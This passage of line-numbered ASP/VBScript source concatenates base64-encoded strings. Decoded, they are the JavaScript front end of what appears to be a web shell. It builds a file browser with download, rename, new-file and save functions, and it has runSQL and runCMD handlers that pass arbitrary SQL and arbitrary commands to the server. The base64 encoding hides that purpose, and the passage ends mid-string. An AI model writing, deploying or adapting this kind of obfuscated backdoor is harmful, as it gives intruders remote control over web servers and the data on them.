847"CQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIiZuYnNwOyIsICJrYnJ0bSIpKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKGFkZFREKCImbmJzcDsiLCAia2JydG0iKSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIikpOwoJCQlnZXRJZCgidGJsTGlzdCIpLmFwcGVuZENoaWxkKG5ld1Jvdyk7" &_
848"Cgl9CgoJaWYoZmZMaXN0LmZvbGRlcnMpewoJCXNldEl0ZW1zQ291bnQoKTsKCQlmb3IgKGk9ZmZMaXN0LmZvbGRlcnMubGVuZ3RoIC0gZm9sZGVyTmV3O2k8ZmZMaXN0LmZvbGRlcnMubGVuZ3RoO2krKykKCQl7CgkJCWdldElkKCJ0YmxMaXN0IikuaW5zZXJ0QmVmb3JlKGFkZEZvbGRlclJvdyhpKSwgZ2V0SWQoImdhcDAiKSk7" &_
849"CgkJfQoJfWVsc2V7CgkJZ2V0SWQoImZvbGRlck5vIikuaW5uZXJIVE1MID0gIjAiOwoJfQoKCWlmKGZmTGlzdC5maWxlcyl7CgkJc2V0SXRlbXNDb3VudCgpOwoJCWZvciAoaT1mZkxpc3QuZmlsZXMubGVuZ3RoIC0gZmlsZU5ldztpPGZmTGlzdC5maWxlcy5sZW5ndGg7aSsrKQoJCXsKCQkJZ2V0SWQoInRibExpc3QiKS5pbnNl" &_
850"cnRCZWZvcmUoYWRkRmlsZVJvdyhpKSwgZ2V0SWQoInRibExpc3QiKS5sYXN0Q2hpbGQubmV4dFNpYmxpbmcpOwoJCX0KCX1lbHNlewoJCWdldElkKCJmaWxlTm8iKS5pbm5lckhUTUwgPSAiMCI7Cgl9Cn0KCmZ1bmN0aW9uIGFkZEZvbGRlclJvdyhpZCkgewoJCQluZXdSb3cgPSBhZGRUUihpZCwgImZvbGRlciIpOwoKCQkJbmV3" &_
851"TGluayA9IGFkZExpbmsoZmZMaXN0LmZvbGRlcnNbaWRdLnNwbGl0KCJ8IilbMF0sICIiK2ZmTGlzdC5pbmZvLmZpbGVwYXRoKyIjRXhwbG9yZXJ8IitmZkxpc3QuaW5mby5wYXRoKyIiK2ZmTGlzdC5mb2xkZXJzW2lkXS5zcGxpdCgifCIpWzBdKyJcXCIpOwoJCQluZXdDb2wgPSBhZGRURCgiJm5ic3A7Jm5ic3A7PGltZyBzcmM9" &_
852"Jz9tb2RlPWltYWdlJmltZ0lkPWRpcic+IiwgImticnRtIik7CgkJCWFkZEV2ZW50KG5ld0NvbCwgImNsaWNrIiwgY2hlY2tib3hNYW5hZ2VFdmVudCwgdHJ1ZSk7CgkJCWFkZEV2ZW50KG5ld0NvbCwgImRibGNsaWNrIiwgY2hlY2tib3hNYW5hZ2VFdmVudERCTCwgdHJ1ZSk7CgkJCW5ld0NvbC5hcHBlbmRDaGlsZChuZXdMaW5r" &_
853"KTsKCgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoJCQluZXdDb2wgPSBhZGRURCgiJm5ic3A7IiwgImticnRtIik7CgkJCWFkZEV2ZW50KG5ld0NvbCwgImNsaWNrIiwgY2hlY2tib3hNYW5hZ2VFdmVudCwgdHJ1ZSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoJCQluZXdDb2wgPSBhZGRURCgiRElSIiwg" &_
854"ImticnRtIiwgIiIsICJjZW50ZXIiKTsKCQkJYWRkRXZlbnQobmV3Q29sLCAiY2xpY2siLCBjaGVja2JveE1hbmFnZUV2ZW50LCB0cnVlKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJCW5ld0NvbCA9IGFkZFREKGZmTGlzdC5mb2xkZXJzW2lkXS5zcGxpdCgifCIpWzFdLCAia2JydG0iLCAiIiwgImNlbnRlciIp" &_
855"OwoJCQlhZGRFdmVudChuZXdDb2wsICJjbGljayIsIGNoZWNrYm94TWFuYWdlRXZlbnQsIHRydWUpOwoJCQluZXdSb3cuYXBwZW5kQ2hpbGQobmV3Q29sKTsKCQkJbmV3Q29sID0gYWRkVEQoZmZMaXN0LmZvbGRlcnNbaWRdLnNwbGl0KCJ8IilbMl0sICJrYnJ0bSIsICIiLCAiY2VudGVyIik7CgkJCWFkZEV2ZW50KG5ld0NvbCwg" &_
856"ImNsaWNrIiwgY2hlY2tib3hNYW5hZ2VFdmVudCwgdHJ1ZSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoJCQluZXdDb2wgPSBhZGRURCgiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBjbGFzcz0neGNoZWNrJyBuYW1lPSdkeCcgb25DbGljaz0nY2hlY2tib3hNYW5hZ2UodGhpcyk7JyB2YWx1ZT0nIitpZCsiJz4iLCAi" &_
857"a2JydG0gZmNoZWNrIiwgIiIsICJjZW50ZXIiKTsKCQkJYWRkRXZlbnQobmV3Q29sLCAiY2xpY2siLCBjaGVja2JveE1hbmFnZUV2ZW50LCB0cnVlKTsKCQkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiJm5ic3A7IiwgImticnRtIGZjb21tYW5kIiwgIiIsICJjZW50ZXIi" &_
858"KSk7CgkJCW5ld1Jvdy5hcHBlbmRDaGlsZChhZGRURCgiPEEgaHJlZj1cImphdmFzY3JpcHQ6cmVuYW1lRm9sZGVyKCIraWQrIik7XCI+W1JlbmFtZV08L0E+IiwgImticnRtIGZjb21tYW5kIiwgIiIsICJjZW50ZXIiKSk7CgoJCQlyZXR1cm4gbmV3Um93Owp9CgpmdW5jdGlvbiBhZGRGaWxlUm93KGlkKSB7CgkJbmV3Um93ID0g" &_
859"YWRkVFIoaWQsICJmaWxlIik7CgoJCW5ld0NvbCA9IGFkZFREKGNyZWF0SW1hZ2UoZmZMaXN0LmZpbGVzW2lkXS5zcGxpdCgifCIpWzBdKSwgImticnRtIik7CgkJYWRkRXZlbnQobmV3Q29sLCAiY2xpY2siLCBjaGVja2JveE1hbmFnZUV2ZW50LCB0cnVlKTsKCQlhZGRFdmVudChuZXdDb2wsICJkYmxjbGljayIsIGNoZWNrYm94" &_
860"TWFuYWdlRXZlbnREQkwsIHRydWUpOwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdDb2wgPSBhZGRURCgiWzxmb250IGNvbG9yPXllbGxvdz4iK2ZmTGlzdC5maWxlc1tpZF0uc3BsaXQoInwiKVsxXSsiPC9mb250Pl0iLCAia2JydG0iLCAiIiwgImNlbnRlciIpOwoJCWFkZEV2ZW50KG5ld0NvbCwgImNsaWNr" &_
861"IiwgY2hlY2tib3hNYW5hZ2VFdmVudCwgdHJ1ZSk7CgkJbmV3Um93LmFwcGVuZENoaWxkKG5ld0NvbCk7CgoJCW5ld0NvbCA9IGFkZFREKGZmTGlzdC5maWxlc1tpZF0uc3BsaXQoInwiKVsyXSwgImticnRtIiwgIiIsICJjZW50ZXIiKTsKCQlhZGRFdmVudChuZXdDb2wsICJjbGljayIsIGNoZWNrYm94TWFuYWdlRXZlbnQsIHRy" &_
862"dWUpOwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdDb2wgPSBhZGRURChmZkxpc3QuZmlsZXNbaWRdLnNwbGl0KCJ8IilbM10sICJrYnJ0bSIsICIiLCAiY2VudGVyIik7CgkJYWRkRXZlbnQobmV3Q29sLCAiY2xpY2siLCBjaGVja2JveE1hbmFnZUV2ZW50LCB0cnVlKTsKCQluZXdSb3cuYXBwZW5kQ2hpbGQo" &_
863"bmV3Q29sKTsKCgkJbmV3Q29sID0gYWRkVEQoZmZMaXN0LmZpbGVzW2lkXS5zcGxpdCgifCIpWzRdLCAia2JydG0iLCAiIiwgICJjZW50ZXIiKTsKCQlhZGRFdmVudChuZXdDb2wsICJjbGljayIsIGNoZWNrYm94TWFuYWdlRXZlbnQsIHRydWUpOwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdDb2wgPSBhZGRU" &_
864"RCgiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBjbGFzcz0neGNoZWNrJyBuYW1lPSdmeCcgb25DbGljaz0nY2hlY2tib3hNYW5hZ2UodGhpcyk7JyB2YWx1ZT0nIitpZCsiJz4iLCAia2JydG0gZmNoZWNrIiwgIiIsICJjZW50ZXIiKTsKCQlhZGRFdmVudChuZXdDb2wsICJjbGljayIsIGNoZWNrYm94TWFuYWdlRXZlbnQsIHRydWUp" &_
865"OwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdDb2wgPSBhZGRURCgiPEEgaHJlZj0nP21vZGU9ZG93bmxvYWQmbG9jYXRpb249IiArIGZmTGlzdC5pbmZvLnBhdGggKyAiJmZpbGU9IitmZkxpc3QuZmlsZXNbaWRdLnNwbGl0KCJ8IilbMF0rIic+W0Rvd25sb2FkXTwvQT4iLCAia2JydG0gZmNvbW1hbmQiLCAi" &_
866"IiwgImNlbnRlciIpOwoJCW5ld1Jvdy5hcHBlbmRDaGlsZChuZXdDb2wpOwoKCQluZXdSb3cuYXBwZW5kQ2hpbGQoYWRkVEQoIjxBIGhyZWY9XCJqYXZhc2NyaXB0OnJlbmFtZUZpbGUoIitpZCsiKTtcIj5bUmVuYW1lXTwvQT4iLCAia2JydG0gZmNvbW1hbmQiLCAiIiwgImNlbnRlciIpKTsKCgkJcmV0dXJuIG5ld1JvdzsKfQoK" &_
867"ZnVuY3Rpb24gQ2hlY2tOYW1lKHN0cikgewoJdmFyIHJlOwoJcmUgPSAvW1xcLzoqPyI8PnxdL2dpOwoJaWYgKHJlLnRlc3Qoc3RyKSkgcmV0dXJuIGZhbHNlOwoJZWxzZSByZXR1cm4gdHJ1ZTsKfQoKZnVuY3Rpb24gY2hlY2tib3hNYW5hZ2VFdmVudERCTChlKQp7CglpZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwoJaWQg" &_
868"PSBlLnRhcmdldCB8fCBlLnNyY0VsZW1lbnQ7CglpZiAoaWQubm9kZVR5cGUgPT0gMykgaWQgPSBpZC5wYXJlbnROb2RlOwoKCWlmKGlkLnRhZ05hbWUudG9Mb3dlckNhc2UoKSA9PSAiYSIgfHwgaWQudGFnTmFtZS50b0xvd2VyQ2FzZSgpID09ICJpbnB1dCIpCgl7CgkJcmV0dXJuOwoJfQoKCXdoaWxlIChpZC5wYXJlbnROb2Rl" &_
869"LnRhZ05hbWUudG9Mb3dlckNhc2UoKSAhPSAidHIiKQoJewoJCWlkID0gaWQucGFyZW50Tm9kZTsKCX0KCglpZihpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMl0uaW5uZXJIVE1MID09ICJESVIiKXsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3Mn" &_
870"KSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzNdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksICdrYnJ0bScpOwoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s0XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAna2JydG0nKTsKCQlp" &_
871"ZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzVdLmZpcnN0Q2hpbGQuY2hlY2tlZCA9IGZhbHNlOwoJCXJlbmFtZUZvbGRlcihpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uZmly" &_
872"c3RDaGlsZC52YWx1ZSk7Cgl9ZWxzZXsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzNdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksICdr" &_
873"YnJ0bScpOwoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s0XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAna2JydG0nKTsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFy" &_
874"ZW50Tm9kZS5jaGlsZE5vZGVzWzVdLmZpcnN0Q2hpbGQuY2hlY2tlZCA9IGZhbHNlOwoJCXJlbmFtZUZpbGUoaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzVdLmZpcnN0Q2hpbGQudmFsdWUpOwoJfQp9CgpmdW5jdGlvbiBjaGVja2JveE1hbmFnZUV2ZW50KGUpCnsKCWlmICghZSkgdmFyIGUgPSB3aW5kb3cuZXZlbnQ7CglpZCA9" &_
875"IGUudGFyZ2V0IHx8IGUuc3JjRWxlbWVudDsKCWlmIChpZC5ub2RlVHlwZSA9PSAzKSBpZCA9IGlkLnBhcmVudE5vZGU7CgoJaWYoaWQudGFnTmFtZS50b0xvd2VyQ2FzZSgpID09ICJhIiB8fCBpZC50YWdOYW1lLnRvTG93ZXJDYXNlKCkgPT0gImlucHV0IikKCXsKCQlyZXR1cm47Cgl9CgoJd2hpbGUgKGlkLnBhcmVudE5vZGUu" &_
876"dGFnTmFtZS50b0xvd2VyQ2FzZSgpICE9ICJ0ciIpCgl7CgkJaWQgPSBpZC5wYXJlbnROb2RlOwoJfQoKCWlmKGlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s1XS5maXJzdENoaWxkLmNoZWNrZWQpewoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1swXS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycp" &_
877"LCAna2JydG0nKTsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbM10uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzRdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksICdrYnJ0bScpOwoJCWlk" &_
878"LnBhcmVudE5vZGUuY2hpbGROb2Rlc1s1XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAna2JydG0nKTsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uZmlyc3RDaGlsZC5jaGVja2VkID0gZmFsc2U7Cgl9ZWxzZXsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmli" &_
879"dXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJycpOwoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1szXS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAnJyk7CgkJaWQucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzRdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDog" &_
880"J2NsYXNzJyksICcnKTsKCQlpZC5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJycpOwoJCWlkLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s1XS5maXJzdENoaWxkLmNoZWNrZWQgPSB0cnVlOwoJfQp9CgpmdW5jdGlvbiBjaGVja2JveE1hbmFnZShpZCkK" &_
881"ewoJaWYoaWQuY2hlY2tlZCl7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJycpOwoJCWlkLnBhcmVudE5vZGUucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzNdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDog" &_
882"J2NsYXNzJyksICcnKTsKCQlpZC5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s0XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycpLCAnJyk7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xh" &_
883"c3MnKSwgJycpOwoJfWVsc2V7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbMF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbM10uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFt" &_
884"ZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNF0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7CgkJaWQucGFyZW50Tm9kZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbNV0uc2V0QXR0cmlidXRlKChpc0lFID8gJ2Ns" &_
885"YXNzTmFtZScgOiAnY2xhc3MnKSwgJ2ticnRtJyk7Cgl9Cgp9CgpmdW5jdGlvbiBjaGVja0FsbChpZCkgewoJdmFyIGZtb2JqPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJpbnB1dCIpOwoJZm9yICh2YXIgaT0wOyBpPGZtb2JqLmxlbmd0aDtpKyspIHsKCQl2YXIgZT1mbW9ialtpXTsKCQlpZiAoKGUubmFtZSE9J2No" &_
886"ZWNrYm94QWxsJykgJiYgKGUudHlwZT09J2NoZWNrYm94JykgJiYgKCFlLmRpc2FibGVkKSkgewoJCQllLnBhcmVudE5vZGUucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzBdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksIChpZC5jaGVja2VkID8gJycgOiAna2JydG0nKSk7CgkJCWUucGFyZW50Tm9k" &_
887"ZS5wYXJlbnROb2RlLmNoaWxkTm9kZXNbM10uc2V0QXR0cmlidXRlKChpc0lFID8gJ2NsYXNzTmFtZScgOiAnY2xhc3MnKSwgKGlkLmNoZWNrZWQgPyAnJyA6ICdrYnJ0bScpKTsKCQkJZS5wYXJlbnROb2RlLnBhcmVudE5vZGUuY2hpbGROb2Rlc1s0XS5zZXRBdHRyaWJ1dGUoKGlzSUUgPyAnY2xhc3NOYW1lJyA6ICdjbGFzcycp" &_
888"LCAoaWQuY2hlY2tlZCA/ICcnIDogJ2ticnRtJykpOwoJCQllLnBhcmVudE5vZGUucGFyZW50Tm9kZS5jaGlsZE5vZGVzWzVdLnNldEF0dHJpYnV0ZSgoaXNJRSA/ICdjbGFzc05hbWUnIDogJ2NsYXNzJyksIChpZC5jaGVja2VkID8gJycgOiAna2JydG0nKSk7CgkJCWUuY2hlY2tlZD1pZC5jaGVja2VkOwoJCX0KCX0KCglpZiAo" &_
889"aWQuY2hlY2tlZCkgewoJCWlkLnRpdGxlPSdDbGVhciBBbGwnOwoJfSBlbHNlIHsKCQlpZC50aXRsZT0nU2VsZWN0IEFsbCc7Cgl9Cn0KCmZ1bmN0aW9uIHNxbENvbW1hbmRDaGFuZ2UoKSB7CgoJaWYoZ2V0SWQoImNvbW1hbmRDaGFuZ2UiKS52YWx1ZSA9PSAiIDwtPiAiKQoJewoJCWdldElkKCJjb21tYW5kQ2hhbmdlIikudmFs" &_
890"dWUgPSAiID4tPCAiOwoJCXNob3dkaXYoInR4dHNxbGNvbW1hbmQiLCB0cnVlKTsKCQlzaG93ZGl2KCJzcWxjb21tYW5kIiwgZmFsc2UpOwoJfQoJZWxzZXsKCQlnZXRJZCgiY29tbWFuZENoYW5nZSIpLnZhbHVlID0gIiA8LT4gIjsKCQlzaG93ZGl2KCJzcWxjb21tYW5kIiwgdHJ1ZSk7CgkJc2hvd2RpdigidHh0c3FsY29tbWFu" &_
891"ZCIsIGZhbHNlKTsKCX0KCn0KCgpmdW5jdGlvbiBjbGVhckNvbnRlbnQoKQp7CglpZihnZXRJZCgidGJsTGlzdCIpKQoJCWdldElkKCJ0YmxDb250ZW50IikucmVtb3ZlQ2hpbGQoZ2V0SWQoInRibExpc3QiKSk7Cn0KCgovLyBNb2RlIC8vCmZ1bmN0aW9uIHJ1blNRTCgpCnsKCWlmKChnZXRJZCgic3FsY29ubmVjdGlvbiIpLnZh" &_
892"bHVlLnRyaW0oKSAhPSAiIikgJiYgKCgoZ2V0SWQoImNvbW1hbmRDaGFuZ2UiKS52YWx1ZSA9PSAiIDwtPiAiKSAmJiAoZ2V0SWQoInNxbGNvbW1hbmQiKS52YWx1ZS50cmltKCkgIT0gIiIpKSB8fCAoKGdldElkKCJjb21tYW5kQ2hhbmdlIikudmFsdWUgPT0gIiA+LTwgIikgJiYgKGdldElkKCJ0eHRzcWxjb21tYW5kIikudmFs" &_
893"dWUudHJpbSgpICE9ICIiKSkpKXsKCQlrZXk9WyJjb25uZWN0aW9uIiwgImNvbW1hbmQiXTsKCQl2YWx1ZT1bZ2V0SWQoInNxbGNvbm5lY3Rpb24iKS52YWx1ZSwgKGdldElkKCJjb21tYW5kQ2hhbmdlIikudmFsdWUgPT0gIiA8LT4gIikgPyBnZXRJZCgic3FsY29tbWFuZCIpLnZhbHVlIDogZ2V0SWQoInR4dHNxbGNvbW1hbmQi" &_
894"KS52YWx1ZV07CgkJc2VuZFJlcXVlc3RBY3Rpb24oInJ1blNRTCIsIFtrZXksIHZhbHVlXSk7Cgl9ZWxzZXsKCQlhbGVydCgiQ29ubmVjdGlvbiBTdHJpbmcgYW5kIFNRTCBDb21tYW5kIGFyZSByZXF1aXJlZCAhIik7Cgl9Cn0KCmZ1bmN0aW9uIHJ1bkNNRCgpCnsKCWlmKGdldElkKCJ2Y29tbWFuZCIpLnZhbHVlLnRyaW0oKSAh" &_
895"PSAiIil7CgkJa2V5PVsiY29tbWFuZCJdOwoJCXZhbHVlPVtnZXRJZCgidmNvbW1hbmQiKS52YWx1ZV07CgkJc2VuZFJlcXVlc3RBY3Rpb24oInJ1bkNNRCIsIFtrZXksIHZhbHVlXSk7Cgl9ZWxzZXsKCQlhbGVydCgiQ29tbWFuZCBpcyByZXF1aXJlZCAhIik7Cgl9Cn0KCmZ1bmN0aW9uIGxvYWRGaWxlKCkKewoJa2V5PVsiaXRl" &_
896"bVBhdGgiXTsKCXZhbHVlPVtnZXRWYXIod2luZG93LmxvY2F0aW9uLmhyZWYsMSldOwoJc2VuZFJlcXVlc3RBY3Rpb24oImxvYWRGaWxlIiwgW2tleSwgdmFsdWVdKTsKfQoKZnVuY3Rpb24gc2F2ZUZpbGUoaVN0YXJ0KQp7CglpZighaVN0YXJ0KSBpU3RhcnQ9MDsKCgl2YXIgaXRlbUNvbnRlbnQgPSBnZXRJZCgidHh0Q29udGVu" &_
897"dCIpLnZhbHVlOwoJa2V5PVsiaXRlbVBhdGgiLCAiaXRlbUNvbnRlbnQiLCAic2F2ZU1vZGUiXTsKCWlmKGN1cnJlbnRfcnVubmluZyA9PSBmYWxzZSl7CgkJdmFsdWU9W2dldFZhcih3aW5kb3cubG9jYXRpb24uaHJlZiwxKSwgaXRlbUNvbnRlbnQuc3Vic3RyaW5nKGlTdGFydCwoaXRlbUNvbnRlbnQubGVuZ3RoID4gaVN0YXJ0" &_
898"KzUxMjAwKSA/IGlTdGFydCs1MTIwMCA6IGl0ZW1Db250ZW50Lmxlbmd0aCksIChpU3RhcnQ9PTApID8gMiA6IDhdOwoJCXNlbmRSZXF1ZXN0QWN0aW9uKCJzYXZlRmlsZSIsIFtrZXksIHZhbHVlXSk7CgoJCWlmKGlTdGFydCs1MTIwMCA8IGl0ZW1Db250ZW50Lmxlbmd0aCl7CgkJCWlTdGFydCArPSA1MTIwMDsKCQkJc2F2ZVRp" &_
899"bWVyID0gc2V0VGltZW91dCgic2F2ZUZpbGUoIiArIGlTdGFydCArICIpOyIsIDEwMCk7CgkJfWVsc2V7CgkJCXNhdmVUaW1lciA9IGZhbHNlOwoJCX0KCX1lbHNlewoJCXNhdmVUaW1lciA9IHNldFRpbWVvdXQoInNhdmVGaWxlKCIgKyBpU3RhcnQgKyAiKTsiLCAxMDApOwoJfQp9CgpmdW5jdGlvbiByZW5hbWVGaWxlKGlkKQp7" &_
900"CiAgIGlmKGZmTGlzdC5maWxlc1tpZF0pCiAgIHsKCQlwb3NFeHAgPSBjdXJfcG9zKCk7CgkJc3RyID0gcHJvbXB0KCJQbGVhc2UgZW50ZXIgbmV3IG5hbWUgZm9yIHRoZSBmaWxlIiwgZmZMaXN0LmZpbGVzW2lkXS5zcGxpdCgifCIpWzBdKTsKCQlpZiAoIXN0ciB8fCAoc3RyPT1mZkxpc3QuZmlsZXNbaWRdLnNwbGl0KCJ8Iilb" &_
901"MF0pKSByZXR1cm47CgkJaWYgKCFDaGVja05hbWUoc3RyKSkge2FsZXJ0KCJGaWxlIG5hbWUgY2FuIG5vdCBjb250YWluIGFueSBvZiB0aGVcbmZvbGxvd2luZyBjaGFyYWN0ZXJzOiBcXCAvIDogKiA/IFwiIDwgPiB8Iik7IHJldHVybjt9CgoJCWtleT1bImZpbGVJZCIsICJmaWxlTmFtZSIsICJuZXdOYW1lIl07CgkJdmFsdWU9" &_
902"W2lkLCBmZkxpc3QuZmlsZXNbaWRdLnNwbGl0KCJ8IilbMF0sIHN0cl07CgkJc2VuZFJlcXVlc3RBY3Rpb24oInJlbmFtZUZpbGUiLCBba2V5LCB2YWx1ZV0pOwogICB9Cn0KCmZ1bmN0aW9uIHJlbmFtZUZvbGRlcihpZCkKewogICBpZihmZkxpc3QuZm9sZGVyc1tpZF0pCiAgIHsKCQlwb3NFeHAgPSBjdXJfcG9zKCk7CgkJc3Ry" &_
903"ID0gcHJvbXB0KCJQbGVhc2UgZW50ZXIgbmV3IG5hbWUgZm9yIHRoZSBmb2xkZXIiLCBmZkxpc3QuZm9sZGVyc1tpZF0uc3BsaXQoInwiKVswXSk7CgkJaWYgKCFzdHIgfHwgKHN0cj09ZmZMaXN0LmZvbGRlcnNbaWRdLnNwbGl0KCJ8IilbMF0pKSByZXR1cm47CgkJaWYgKCFDaGVja05hbWUoc3RyKSkge2FsZXJ0KCJGb2xkZXIg" &_
904"bmFtZSBjYW4gbm90IGNvbnRhaW4gYW55IG9mIHRoZVxuZm9sbG93aW5nIGNoYXJhY3RlcnM6IFxcIC8gOiAqID8gXCIgPCA+IHwiKTsgcmV0dXJuO30KCgkJa2V5PVsiZm9sZGVySWQiLCAiZm9sZGVyTmFtZSIsICJuZXdOYW1lIl07CgkJdmFsdWU9W2lkLCBmZkxpc3QuZm9sZGVyc1tpZF0uc3BsaXQoInwiKVswXSwgc3RyXTsK" &_
905"CQlzZW5kUmVxdWVzdEFjdGlvbigicmVuYW1lRm9sZGVyIiwgW2tleSwgdmFsdWVdKTsKICAgfQp9CgpmdW5jdGlvbiBuZXdGaWxlKCkKewoJcG9zRXhwID0gY3VyX3BvcygpOwoJc3RyID0gcHJvbXB0KCJQbGVhc2UgZW50ZXIgbmFtZSBmb3IgdGhlIG5ldyBmaWxlIiwgIm5ldy5hc3AiKTsKCWlmICghc3RyKSByZXR1cm47Cglp" &_
906"ZiAoIUNoZWNrTmFtZShzdHIpKSB7YWxlcnQoIkZpbGUgbmFtZSBjYW4gbm90IGNvbnRhaW4gYW55IG9mIHRoZVxuZm9sbG93aW5nIGNoYXJhY3RlcnM6IFxcIC8gOiAqID8gXCIgPCA+IHwiKTsgcmV0dXJuO30KCglrZXk9WyJpdGVtTmFtZSJdOwoJdmFsdWU9W3N0cl07CglzZW5kUmVxdWVzdEFjdGlvbigibmV3RmlsZSIsIFtr" &_
907"ZXksIHZhbHVlXSk7Cn0KCmZ1bmN0aW9uIG5ld0ZvbGRlcigpCnsKCXBvc0V4cCA9IGN1cl9wb3MoKTsKCXN0ciA9IHByb21wdCgiUGxlYXNlIGVudGVyIG5hbWUgZm9yIHRoZSBuZXcgZm9sZGVyIiwgIk5ldyBGb2xkZXIiKTsKCWlmICghc3RyKSByZXR1cm47CglpZiAoIUNoZWNrTmFtZShzdHIpKSB7YWxlcnQoIkZvbGRlciBu" &_
